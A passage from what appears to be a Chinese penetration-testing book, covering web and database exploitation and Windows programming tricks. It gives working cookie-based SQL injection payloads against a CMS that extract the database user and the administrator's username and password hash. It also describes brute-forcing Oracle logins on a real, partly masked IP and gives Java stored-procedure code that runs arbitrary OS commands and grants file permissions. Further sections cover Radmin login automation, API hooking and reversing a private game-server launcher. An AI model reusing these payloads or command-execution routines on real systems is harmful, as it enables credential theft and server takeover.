    {"text": "分析代码/system/modules/member/index.php： public function edit(){ if(empty($_COOKIE['member_user'])||empty($_COOKIE['member_userid'])){ showmsg(C(\"admin_not_exist\"),\"index.php?m=member&f=login\"); } $userid=$_COOKIE['member_userid'];//member_userid 没有过滤，导致注入. $info=$this->mysql->get_one(\"select * from \".DB_PRE.\"member where ùserid`= $userid\"); $input=base::load_class('input'); $field=base::load_cache(\"cache_field_member\",\"_field\"); $fields=\"\"; foreach($field as $value){ $fields.=\"<tr>\\n\"; $fields.=\"<td align=\\\"right\\\">\".$value['name'].\"：</td>\\n\"; $fields.=\"<td>\".$input->$value['formtype']($value['field'],$info [$value['field']],$value['width'],$value['height'],$value['initial']).\" \".$value['explain'].\"</td>\\n\"; $fields.=\"</tr>\\n\"; } assign('member',$info); assign(\"fields\",$fields); template(\"member/edit\"); } 从以上代码中可以看到，函数 edit()里使用了 member_userid 这个参数，该参数从 Cookie 中获取，没有进行任何过滤就进入查询，导致注入。 利用时需要 member_user 不为空，如果 member_userdid 和 member_user 有一个参数为空则跳转到： showmsg(C(\"admin_not_exist\"),\"index.php?m=member&f=login\"); 现在使用“河马 Cookie 修改器 1.1”，编写 member_userid=1 and 1=(select * from (select name_const(user(),1),name_const(user(),1)) as x); member_user=a，如图 4-29 所示。 y 140 y 第 4 章 Web 渗透 图 4-29 从图 4-29 可以看到爆出了 MySQL 的连接用户名为 root@localhost，提交 member_ userid=1 and 1=(select * from (select name_const((select username from c_admin),1),name_ const((select username from c_admin),1)) as x)，“河马 Cookie 修改器”显示了管理员的 用户名为 admin，如图 4-30 所示。 图 4-30 y 141 y Web 渗透与漏洞挖掘 提交 member_userid=1 and 1=(select * from (select name_const((select password from c_admin),1),name_const((select password from c_admin),1)) as x)，“河马 Cookie 修改器”显示管理员的 admin 账号为 MD5 hash，如图 4-31 所示。"},
    {"text": "图 4-32 本次渗透主要使用 Cookie 注入这个漏洞，而“河马 Cookie 修改器 1.1（该工具可 以在网址 www.isafe.cc 下载）”正好具有这个功能，通过注入获取管理员密码，解密 后即可登录网站后台。"},
    {"text": "y 142 y 5 第 5 章 编程技术 5.1 使用 SendMessage API 函数实现 Radmin 远控自动登录 Radmin 是俄罗斯出品的一款远控软件，在登录时需要手动输入用户名和密码， 本节通过一些编程方法实现自动登录。"},
    {"text": "首先介绍一下 Radmin 远控软件：Radmin（Remote Administrator）是一款屡获殊 荣的安全远程控制软件，能帮助你在远程电脑上工作，如同坐在那台电脑前一样。 Radmin 软件是理想的远程访问解决方案，可以从多个地点访问同一台电脑，并能够 使用高级文件传输、远程关机，以及其他功能。"},
    {"text": "FindWindow 函数，根据 Micorsoft msdn 的描述如下。 The FindWindow function retrieves the handle to the top-level window whose class name and window name match the specified strings. This function does not search child windows. HWND FindWindow( LPCTSTR lpClassName, // pointer to class name LPCTSTR lpWindowName // pointer to window name ); 对上面英文进行翻译：FindWindow 函数通过类名称和窗口标题检索顶层窗口的 句柄，此函数不搜索子窗口句柄。"},
    {"text": "FindWindowEx 函数，根据 Micorsoft msdn 的描述如下。 The FindWindowEx function retrieves the handle to a window whose class name and window name match the specified strings. The function searches child windows, beginning with the one following the given child window. HWND FindWindowEx( HWND hwndParent, // handle to parent window HWND hwndChildAfter, // handle to a child window LPCTSTR lpszClass, // pointer to class name LPCTSTR lpszWindow // pointer to window name ); 对上面英文进行翻译：FindWindowEx 函数通过控件的类名称和控件标题检索一 个控件句柄，该函数检索子窗口的句柄（控件句柄，如 Button），从第一个子控件 开始。"},
    {"text": "这个函数有 4 个参数：hwndParent 参数传入父窗口的句柄； hwndChildAfter 是子 窗口的句柄，要查找第一个子窗口的句柄，可以设置该窗口的句柄为 0；"},
    {"text": "SendMessage 函数，根据 Micorsoft msdn 的描述如下。 The SendMessage function sends the specified message to a window or windows. The function calls the window procedure for the specified window and does not return until the window procedure has processed the message. LRESULT SendMessage( HWND hWnd, // handle of destination window UINT Msg, // message to send WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ); 对上面英文进行翻译：SendMessage 函数是向一个窗口或子窗口发送一条消息， 直到应用程序处理了这条消息，该函数才执行完毕。"},
    {"text": "图 5-1 hWinMain:= FindWindow(nil,'Radmin 安全性: www.isafe.cc'); 第二步：获取“用户姓名”编辑框的句柄： hUser:= FindWindowEx(hWinMain,0,'EDIT',nil) 查找 hWinMain 窗口的子窗口句柄，EDIT 是编辑框的类名，0 表示查找用户姓名 编辑框的句柄。 y 145 y Web 渗透与漏洞挖掘 第三步：获取“密码”编辑框的句柄： hPass:=FindWindowEx(hWinMain,hUser,'EDIT',nil) 查找 hWinMain 窗口的子窗口句柄，EDIT 是编辑框的类名，hUser 表示查找这个 编辑框之后的编辑框句柄。 第四步：取得“确定”按钮的句柄： hOk:= FindWindowEx(hWinMain,0,'BUTTON',nil); 通过以上步骤获得登录的所有必要信息。"},
    {"text": "下面是填入信息，代码如下，通过 SendMessage 函数向窗口发送消息 WM_SETTEXT。 SendMessage(hUser,WM_SETTEXT,0,LPARAM(PChar('admin'))); //设置用户姓名为 admin SendMessage(hPass,WM_SETTEXT,0,LPARAM(PChar('www.isafe.cc'));//设置密码为 www.isafe.cc 对于单击“确定”按钮，是通过 SendMessage 函数向窗口发送 BN_CLICK 消息 来进行的。"},
    {"text": "一个主程序中带有一个循环在执行，就不响应其他用户操作，所以 这里使用 Win API 中的线程函数，在 Delphi 中 TThread 类对此线程进行了封装，可以 使用 TThread 类创建一个线程类 TgetHandleThread，代码如下。 TGetHandleThread=class(TThread) private FMainHandle:Cardinal; FUserHandle:LongWord; FPassWordHandle:Cardinal; FokHandle:Cardinal; procedure DataMemo; protected procedure Execute;override; public constructor Create;reintroduce; destructor Destroy;override; end; 代码中最重要的是 Execute 过程，该过程是线程执行的主体，所有代码在执行中。"},
    {"text": "procedure TGetHandleThread.Execute; begin while not Terminated do begin FMainHandle:= FindWindow('#32770', 'Radmin 安全性: www.isafe.cc'); FUserHandle:= FindWindowEx(FMainHandle,0,PChar('EDIT'),nil); FPassWordHandle:= FindWindowEx(FMainHandle,FUserHandle,PChar('EDIT'),nil); FokHandle:= FindWindowEx(FMainHandle,0,PChar('BUTTON'),nil); FokHandle:= FindWindowEx(FMainHandle,FokHandle,PChar('BUTTON'),nil); Synchronize(DataMemo); end; end; DataMemo 过程的代码用于获取 Radmin 登录窗口的句柄赋值给主窗口的文本控件， 代码如下。 procedure TGetHandleThread.DataMemo; begin frmMain.edtMainHandle.Text:= IntToStr(FMainHandle); frmMain.edtUserHandle.Text:= IntToStr(FUserHandle); frmMain.edtPasswordHandle.Text:= IntToStr(FPassWordHandle); frmMain.edtOkHandle.Text:= IntToStr(FokHandle); end; 主要获取窗口句柄的函数已经实现，下面将通过句柄设置控件的值，使用 SendMessage 函数，设置用户姓名，代码如下。 var hUser:Cardinal; begin hUser:=StrToIntDef(edtUserHandle.Text,1); SendMessage(hUser,WM_SETTEXT,0,LPARAM(PChar('admin'))); end; 通过 SendMessage 函数设置密码，代码如下。 var hPass:Cardinal; begin hPass:= StrToIntDef(edtPasswordHandle.Text,1); y 147 y Web 渗透与漏洞挖掘 SendMessage(hPass,WM_SETTEXT,0,LPARAM(PChar('www.isafe.cc'))); end; 通过 SendMessage 函数，模拟单击“确定”按钮，代码如下。 var hOk:Cardinal; begin hOk:=StrToIntDef(edtOkHandle.Text,1); SendMessage(hOk,BM_CLICK,0,0); end; 本程序的主界面如图 5-2 所示。"},
    {"text": "begin ThreadNum:= 0; GetHandleThread1:=TGetHandleThread.Create; ThreadNum:= ThreadNum + 1; GetHandleThread1.Resume; GetHandleThread1.OnTerminate:=ThreadExit; while True do begin if ThreadNum= 0 then Break; Application.ProcessMessages; Panel1.Caption:='Thread Running...'; end; Panel1.Caption:='Thread Done'; end; 运行后界面如图 5-3 所示。"},
    {"text": "5.2 安装系统钩子实现文件防删（Hook Tech） 钩子是 Windows 中消息处理机制的一个要点，通过安装各种钩子，应用程序能够 设置相应的子例程来监视系统里的消息传递，以及在这些消息到达目标窗口程序之前 处理它们。 钩子的种类很多，每种钩子可以截获并处理相应的消息，如键盘钩子可以 截获键盘消息，鼠标钩子可以截获鼠标消息，外壳钩子可以截获启动和关闭应用程序 的消息，日志钩子可以监视和记录输入事件等。 钩子分为线程专用钩子和全局钩子， 线程专用钩子只监视指定的线程，要监视系统中的所有线程必须用全局钩子。"},
    {"text": "在 Windows 资源管理器中，执行删除是调用 shell32.dll 文件导出的 SHFileOperationW 函数，只要对该函数进行挂钩处理，就可实现文件防删。 函数 SHFileOperation 根据“Windows 32 程序员参考手册”的介绍，是这样用代 码描述的： Performs a copy, move, rename, or delete operation on a file system object. WINSHELLAPI int WINAPI SHFileOperation( LPSHFILEOPSTRUCT lpFileOp ); Parameters lpFileOp Pointer to an SHFILEOPSTRUCT structure that contains information the function needs to carry out the operation. Return Values Returns zero if successful or nonzero if an error occurs. y 149 y Web 渗透与漏洞挖掘 对上面英文进行翻译：在文件系统上执行复制、移动、重命名、删除等操作，该 函数有一个参数 lpFileOp，是一个指向 SHFILEOPSTRUCT 结构的指针，包含了文件 操作的相关数据，返回值为 0 则表示执行成功，否则执行失败。"},
    {"text": "SHFileOPSTRUCT 结构体的定义如下： Typedef struct _SHFILEOPSTRUCT { //shfos HWND hwnd ;//显示状态信息窗口的句柄，一般设为主窗体的句柄。"},
    {"text": "LPCSTR pFrom;//源文件或目录 LPCSTR pTo; //目标文件或目录 FileOP_FLAGS fFlags;//控制文件操作的标志 BOOL fAnyOperationsAborted;//操作是否放弃 LPVOID hNameMappings;//文件名映射对象的句柄 LPCSTR lpszProgressTitle;//进度条标题 } SHFILEOPSTRUCT , FAR *LPSHFILEOPSTRUCT Delphi 用记录对此结构进行了两种封装，ANSI 和 UNICODE 下面编写一段代码，删除 c:\\delFiles 目录下的文件。 打开 delphi 新建一个工程， delFile 在“删除”按钮的 OnClick 事件中加入如下代码，用于执行删除操作： procedure TForm1.Button1Click(Sender: TObject); var OpStruc:TSHFileOpStruct; FromBuf:Array[0..128] of Char; begin FillChar(FromBuf,Sizeof(FromBuf),0); StrPCopy(FromBuf,Pchar(Edit1.Text)); //开始填充 OpStruc 记录 with OpStruc do begin Wnd:=Handle; wFunc:=FO_DELETE; pFrom:=@FromBuf; pTo:=nil; fFlags:=FOF_NOCONFIRMATION; lpszProgressTitle:='正在删除'; end; if SHFileOperation(OpStruc)=0 then //执行成功 MessageBox(Handle,'删除完毕。 ','删除信息',MB_OK+MB_ICONINFORMATION); end; y 150 y 第 5 章 编程技术 删除时（wFunc 参数设为 FO_DELETE）如果想将文件或目录放到回收站（fFlags 参数设置为 FOF_ALLOWUNDO），则应该为文件的绝对路径，否则有可能无法恢复。"},
    {"text": "首先跟据 API 函数 SHFileOperationW 的结构编写两个与 API 一样的函数，再利用 GetProcAddress 获取系统的两个 API 函数 接口地址，最后用 WriteProcessMemory 将编写的函数的地址替换原来系统的函数地 址。"},
    {"text": "下面是一个 DLL 用于全局挂钩 SHFileOperationW 函数的关键代码： 1．function NewSHFileOperationW(const lpFileOp: TSHFileOpStructW): Integer;stdcall; 2．type 3．TNewSHFileOperationW = function (const lpFileOp: TSHFileOpStructW):Integer; stdcall; 4．begin 5．if Pos('calc.exe',lpFileOp.pFrom)>0 then begin a) showmessage('(hooked)SHFileOperationW-无法删除：'+ lpFileOp.pFrom); b) result := 1; c) exit; 6．end; 7．Hook[1].UnHook; 8．Result := TNewSHFileOperationW(Hook[1].BaseAddr)(lpFileOp); 9．Hook[1].Hook; 10．end; 11．procedure InitHook; //安装 Hook 12．begin y 151 y Web 渗透与漏洞挖掘 13．Hook[1] := TNtHookClass.Create('Shell32.dll','SHFileOperationW',@NewSHFileOperationW); 14．end; 第 13 行，用于创建一个 Hook 对象，然后会挂钩到新的执行过程 NewSHFile OperationW 中。"},
    {"text": "第 7、8、9 行则表示，如果是其他文件的执行代码程序（如 notepad.exe），先卸 载钩子，执行删除操作，再安装钩子，这样才可以删除其他文件，如图 5-6 所示。"},
    {"text": "5.3 Oracle 数据库渗透技术解析 1．Oracle 数据库简介 Oracle 是一个数据库系统，与 MS SQL Server 数据库类似，支持 SQL 语言的同时还 支持 Ada 编程、Java 编程等，可以运行在 Windows、Linux 等操作系统，本节对如何渗 透 Oracle 数据库系统进行研究。"},
    {"text": "下面研究如何 破解 Oracle 的登录账号密码，然后使用 Delphi 编程在数据库服务器上执行任意命令。 y 152 y 第 5 章 编程技术 2．Oracle 数据库账号密码破解 破解无非是使用暴力破解，即不断地尝试密码，直到成功登入系统为止。"},
    {"text": "破解前 需要一个字典，字典很关键，其决定破解的结果，我们将用到一个“【河马】Oracle 数 据库审计工具 v1.0”，这是河马安全网针对 Oracle 审计的工具，主界面如图 5-7 所示。"},
    {"text": "图 5-7 我们在网上随便找一个 Oracle 系统，查看端口 1521 是否开放，若开放则说明服 务器是 Oracle 系统，我们以 202.107.*.*为例来测试一下，如图 5-8 所示。"},
    {"text": "图 5-8 y 153 y Web 渗透与漏洞挖掘 3．Oracle 数据库执行任意命令 我们使用 delphi 的 odac 组件编写程序代码实现命令执行，命令执行是建立 Java 函数来执行 OS 命令，先看一下初版本代码，这个代码有缺陷，就是在 SQL 窗口中没 有返回内容（在 odac 中也一样），但是在 sqlplus 中却有返回内容，代码如下。"},
    {"text": "创建 Java 源 www_isafe_cc_Util： create or replace and compile java source named \"www_isafe_cc_Util\" as import java.io.*; import java.lang.*; public class www_isafe_cc_Util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int rc = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis = new BufferedInputStream(p.getInputStream(), bufSize); int len; byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis.read(buffer, 0, bufSize)) != -1) System.out.write(buffer, 0, len); rc = p.waitFor(); } catch (Exception e) { e.printStackTrace(); rc = -1; } finally { return rc; } } } / Java created. y 154 y 第 5 章 编程技术 建立函数 www_isafe_cc_RUN_CMD： create or replace function www_isafe_cc_RUN_CMD(p_cmd in varchar2) return number as language java name 'www_isafe_cc_Util.RunThis(java.lang.String) return integer'; / Function created. 建立一个过程调用函数： create or replace procedure RC(p_cmd in varchar2) as x number; begin x := www_isafe_cc_run_cmd(p_cmd); end; 在 sqlplus 中调用函数： variable x number; set serveroutput on exec dbms_java.set_output(100000); grant javasyspriv to system; grant javauserpriv to system; exec :x := www_isafe_cc_RUN_CMD('ipconfig'); 执行结果如图 5-9 和图 5-10 所示。"},
    {"text": "图 5-9 y 155 y Web 渗透与漏洞挖掘 图 5-10 如图 5-9 和图 5-10 所示，在 SQL 窗口中不能执行，SQL 窗口和 sqlplus 中的命令 窗口是有区别的，因为 delphi 中的 odac 组件是在 SQL 窗口方式执行的，skc 用 Java 代码实现使用 odac 组件的执行命令内容返回，该部分代码可以称为版本 2，代码如下。"},
    {"text": "创建 Java 源 www_isafe_cc_Util： create or replace and compile java source named \"www_isafe_cc_Util\" as import java.io.*; public class www_isafe_cc_Util extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader( new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str +=stemp+\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str +=stemp+\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}} } 创建调用函数 www_isafe_cc_RunCMD： create or replace function www_isafe_cc_RunCMD(p_cmd in varchar2) return varchar2 as language java name 'www_isafe_cc_Util.runCMD(java.lang.String) return String'; 赋予执行权限： begin dbms_java.grant_permission( 'PUBLIC', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute');end; 执行结果如图 5-11 所示。 y 156 y 第 5 章 编程技术 图 5-11 命令成功执行后，有结果返回，其他的功能编写的代码相差不多，下面贴出 delphi 执行命令的关键代码，具体代码如下： procedure TfrmMain.btnCreateFunClick(Sender: TObject); var ConnStr:string; StrSQL,StrSQL2:string; begin btnCreateFun.Enabled:=False; try try ConnStr:=Format('%s/%s@%s',[edtUser.Text,edtPass.Text,edtSid.Text, edtHost.Text]); OraSession1.Options.Direct:=True; OraSession1.Server:=edtHost.Text; OraSession1.Username:=edtUser.Text; OraSession1.Password:=edtPass.Text; OraQuery1.Connection:=OraSession1; if OraQuery1.Active then Oraquery1.Active:=False; OraQuery1.SQL.Clear; //oraquery1.SQL.Text:= 'select * from v$version'; y 157 y Web 渗透与漏洞挖掘 OraQuery1.SQL.Text:= MemoPack.Lines.Text; OraQuery1.Execute; Memo1.Lines.Add('包已建立'); while not OraQuery1.Eof do begin Memo1.Lines.Add(OraQuery1.Fields[0].asString); OraQuery1.Next; end; if OraQuery1.Active then OraQuery1.Active:=False; OraQuery1.SQL.Clear; OraQuery1.SQL.Text:= MemoFunc.Lines.Text; Oraquery1.Execute; Memo1.Lines.Add('函数已建立'); while Not OraQuery1.Eof do begin Memo1.Lines.Add(OraQuery1.Fields[0].asString); OraQuery1.Next; end; if OraQuery1.Active then OraQuery1.Active:=False; OraQuery1.SQL.Clear; OraQuery1.SQL.Text:= MemoProc.Lines.Text; Oraquery1.Execute; Memo1.Lines.Add('过程已建立'); while not OraQuery1.Eof do begin Memo1.Lines.Add(OraQuery1.Fields[0].AsString); Oraquery1.Next; end; StrSQL2:='begin dbms_java.grant_permission( ''PUBLIC'', ''SYS:java.io. FilePermission'', ''<<ALL FILES>>'', ''execute'');end;'; StrSQL:='begin dbms_java.grant_permission(''PUBLIC'', ''SYS:java.io. FilePermission'', ''<<ALL FILES>>'', ''read'');end;'; if oraQuery1.Active then oraQuery1.Active:=False; OraQuery1.SQL.Clear; OraQuery1.SQL.Add(StrSQL); OraQuery1.ExecSQL; Memo1.Lines.Add('赋予权限'); if oraQuery1.Active then y 158 y 第 5 章 编程技术 oraQuery1.Active:=False; OraQuery1.SQL.Clear; OraQuery1.SQL.Add(StrSQL2); OraQuery1.ExecSQL; Memo1.Lines.Add('赋予权限'); ListFolderJavaSource; Memo1.Lines.Add('列目录'); except on e:Exception do begin ShowMessage(e.Message); end; end; finally end; btnCreateFun.Enabled:=True; end; 本节从 Oracle 数据库基本账户密码破解入手，然后讲解执行服务器任意命令，最 终控制数据库所在服务器系统。"},
    {"text": "5.4 让 IE 8 上网无限制 在使用 IE 8、IE 7、IE 6 版本的浏览器上网时，经常遇到提示“浏览器版本低”， 需要更新，造成我们无法正常上网。 这时要么更新 IE 版本到 10，要么就使用 Chrome、 Firefox 等浏览器，虽然问题解决了，也能够上网了，但心里还是希望能使用 IE 8 上 网，因为已经习惯使用或网银只支持 IE 8，下面带领读者如何解决这个问题。 首先要了解 Web 服务器是怎么知道我们使用的是 IE 8 浏览器，经过分析 HTTP 协议，发现所有的数据请求没什么变化，IE 8 和 Chrome 浏览器相比较，他们的不同 在于 User-Agent 不同，下面是比较直观的截图代码。 GET /browserwarning.php HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/ x-shockwave-flash, application/x-silverlight, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */* y 159 y Web 渗透与漏洞挖掘 Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MyIE2; CNCDialer; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: www.isafe.cc Connection: Keep-Alive Cookie: zbx_sessionid=140947690dd2245c5fd5489b323c3fb8 GET / HTTP/1.1 Host: www.isafe.cc Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.0 Safari/537.36 Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Cookie: zbx_sessionid=5c2966af200df29841b4e42b8de260af 通过以上编码我们就能明白，只要把 IE 8 的 User-Agent 替换成 Chrome 就可行了， 这样 Web 服务器会把 IE 8 当作 Chrome 浏览器识别，所以 IE 8 上网就无限制了。"},
    {"text": "那 么怎样修改 IE 8 的 User-Agent 呢？ Firefox 和 Chrome 浏览器有插件或者本身就提供修 改 User-Agent 的功能，在 IE 8 设置里没找到，最后在注册表里发现相关信息，那就 改注册表吧。 下面是一个正常 IE 8 请求： GET / HTTP/1.1 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MyIE2; CNCDialer; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.isafe.cc Cookie: BAIDUID=0386E6F41A6C7AB6642829D0B3A36EC2:FG=1; BIDUPSID=03A5BE7FE8CB1FDDCCBE5C0D7DFB095C; PSTM=1453293454 y 160 y 第 5 章 编程技术 User-Agent 部分的代码如下。 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MyIE2; CNCDialer; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) 这些信息在注册表中分多部分对应，我们先看上面代码括号里的 compatible; MSIE 6.0; Windows NT 5.1; SV1 字符串，表明在注册表中的路径为：HKEY_USERS\\S-1-5-21-1993962763-606747145-725345543-500\\Software\\Microsoft\\Windows\\CurrentVer sion\\Internet Settings\\User Agent\\Post Platform。"},
    {"text": "图 5-12 在 User-Agent 的字符串中： .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E 对应的注册表路径为 HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\ CurrentVersion\\Internet Settings\\5.0\\User Agent\\Post Platform，如图 5-13 所示。 y 161 y Web 渗透与漏洞挖掘 图 5-13 User-Agent 字符串中的 compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MyIE2; CNCDialer 对 应 的 注 册 表 项 为 HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\ Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent，默认在注册表中没有数据， 如图 5-14 所示。"},
    {"text": "图 5-14 y 162 y 第 5 章 编程技术 至此已经把 IE 8 的 User-Agent 相关信息分析完成，若要伪装成 Chrome 浏览器就 很容易了，下面是注册表文件内容： Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent] @=\"Mozilla/5.0\" \"Compatible\"=\"\" \"Version\"=\"5.1\" \"Platform\"=\"Windows NT 5.1\" [-HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Post Platform] \".NET CLR 2.0.50727\"=\"\" \".NET CLR 3.0.04506.30\"=\"\" \".NET CLR 3.0.4506.2152\"=\"\" \".NET CLR 3.5.30729\"=\"\" \".NET4.0C\"=\"\" \".NET4.0E\"=\"\" [HKEY_USERS\\S-1-5-21-1993962763-606747145-725345543-500\\Software\\Microsoft\\Wind ows\\CurrentVersion\\Internet Settings\\User Agent\\Post Platform] \"AppleWebKit/537.36 (KHTML, like Gecko)\"=\"\" [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Post Platform] \"Chrome/37.0.2062.0 Safari/537.36\"=\"\" 将以上信息保存为 modify_ua.reg 文件，双击导入注册表中即可。"},
    {"text": "图 5-15 y 163 y Web 渗透与漏洞挖掘 使用默认的 IE 设置和单击工具中的“IE 伪装为 Chrome”按钮，打开网址 http://www.isafe.cc，前后效果图分别如图 5-16 和图 5-17 所示。"},
    {"text": "图 5-16 图 5-17 y 164 y 第 5 章 编程技术 工具的核心源代码分享如下： procedure TForm1.btnMyIsChromeClick(Sender: TObject); var reg:TRegistry; begin reg:=TRegistry.Create(); try reg.RootKey:=HKEY_LOCAL_MACHINE; if reg.OpenKey('SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ 5.0\\User Agent',False) then begin reg.WriteString('Compatible','5.0'); reg.WriteString('Version','5.1'); reg.WriteString('Platform','Windows NT 5.1'); end; reg.CloseKey; reg.DeleteKey('SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ 5.0\\User Agent\\Post Platform'); if reg.OpenKey('SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ 5.0\\User Agent\\Post Platform',True) then begin reg.WriteString('Chrome/37.0.2062.0 Safari/537.36',''); end; reg.CloseKey; reg.RootKey:=HKEY_USERS; reg.DeleteKey('S-1-5-21-1993962763-606747145-725345543-500\\Software\\ Microsoft\\Windows\\CurrentVersion\\Internet Settings\\User Agent\\Post Platform'); if reg.OpenKey('S-1-5-21-1993962763-606747145-725345543-500\\Software\\ Microsoft\\Windows\\CurrentVersion\\Internet Settings\\User Agent\\Post Platform', True) then begin reg.WriteString('AppleWebKit/537.36 (KHTML, like Gecko)',''); end; reg.CloseKey; finally reg.Free; end; end; procedure TForm1.btnMyIsIEClick(Sender: TObject); var y 165 y Web 渗透与漏洞挖掘 reg:TRegistry; begin reg:=TRegistry.Create(); try reg.RootKey:=HKEY_LOCAL_MACHINE; reg.DeleteKey('SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ 5.0\\User Agent'); if reg.OpenKey('SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ 5.0\\User Agent\\Post Platform',True) then begin reg.WriteString('.NET CLR 2.0.50727',''); reg.WriteString('.NET CLR 3.0.04506.30',''); reg.WriteString('.NET CLR 3.0.4506.2152',''); reg.WriteString('.NET CLR 3.5.30729',''); reg.WriteString('.NET CLR 2.0.50727',''); reg.WriteString('.NET4.0C',''); reg.WriteString('.NET4.0E',''); end; reg.CloseKey; reg.RootKey:=HKEY_USERS; reg.DeleteKey('S-1-5-21-1993962763-606747145-725345543-500\\Software\\ Microsoft\\Windows\\CurrentVersion\\Internet Settings\\User Agent\\Post Platform'); if reg.OpenKey('S-1-5-21-1993962763-606747145-725345543-500\\Software \\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\User Agent\\Post Platform', True) then begin reg.WriteString('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',''); end; reg.CloseKey; finally reg.Free; end; end; 5.5 分析正宗冒险岛登录器开发基于网关的游戏登录器 正宗冒险岛是一个游戏私服登录软件，使用该软件可以登录私服，可以在网吧和 家庭环境中使用，本小节通过分析此程序，开发了另外一个游戏登录器。"},
    {"text": "这里不直接调试脱壳， 跳过此步骤是因为不想浪费时间，去分析汇编代码，只要程序被载入就会自解压，并 进入 OEP（原始入口点）开始执行，这里使用 LORDPE 把解压后的程序 Dump 试试， 如图 5-19 所示。"},
    {"text": "y 167 y Web 渗透与漏洞挖掘 图 5-20 分析_Proc_00490CFC 看到有一个 IP 地址 58.215.94.20，这是被修改的、要指向 的 IP 地址，代码如下。 * Possible String Reference to: '58.215.94.20' | 00490D2C BA2C0E4900 mov edx, $00490E2C 00490D31 8B45FC mov eax, [ebp-$04] 00490D34 8B08 mov ecx, [eax] 00490D36 FF5138 call dword ptr [ecx+$38] 00490D39 B201 mov dl, $01 00490D3B A178BD4600 mov eax, dword ptr [$0046BD78] 分析 0049182D 地址处的代码，发现程序运行后有一个 api 函数 ExtractFileDir 从 资源中释放了文件 loevor.dll，该 DLL 文件的作用是挂钩一些 Windows 函数来实现 IP 地址转向，代码如下。 * Reference to: Controls.TControl.SetVisible(TControl;Boolean); | 0049182D E8321DFAFF call 00433564 00491832 33C0 xor eax, eax y 168 y 第 5 章 编程技术 00491834 55 push ebp 00491835 68C1194900 push $004919C1 ***** TRY | 0049183A 64FF30 push dword ptr fs:[eax] 0049183D 648920 mov fs:[eax], esp * Possible String Reference to: 'loevor.dll' | 00491840 B8FC194900 mov eax, $004919FC * Reference to: SysUtils.FileExists(AnsiString):Boolean; | 00491845 E8067AF7FF call 00409250 0049184A 84C0 test al, al 0049184C 740A jz 00491858 * Possible String Reference to: 'loevor.dll' | 0049184E B8FC194900 mov eax, $004919FC 到这里就明白了，它直接修改了 Windows 的某些功能函数来修改 IP 转向，以下使 用另一种方法来实现 IP 转向，在 indy 9 控件中有控件 TidMappedPortTCP，用来映射 IP 和端口，可以把 173.248.166.93: 8080 数据转发到 173.248.166.94:8081，代码如下。 procedure TForm1.Button1Click(Sender: TObject); begin IdMappedPortTCP1.Active := False; IdMappedPortTCP1.Bindings.Clear; IdMappedPortTCP1.Bindings.Add; IdMappedPortTCP1.Bindings.Items[0].IP := '173.248.166.93'; IdMappedPortTCP1.Bindings.Items[0].Port:= 8080; IdMappedPortTCP1.MappedHost := '173.248.166.94'; IdMappedPortTCP1.MappedPort := 8081; IdMappedPortTCP1.Active := True; end; 下面是实现端口转发的效果： 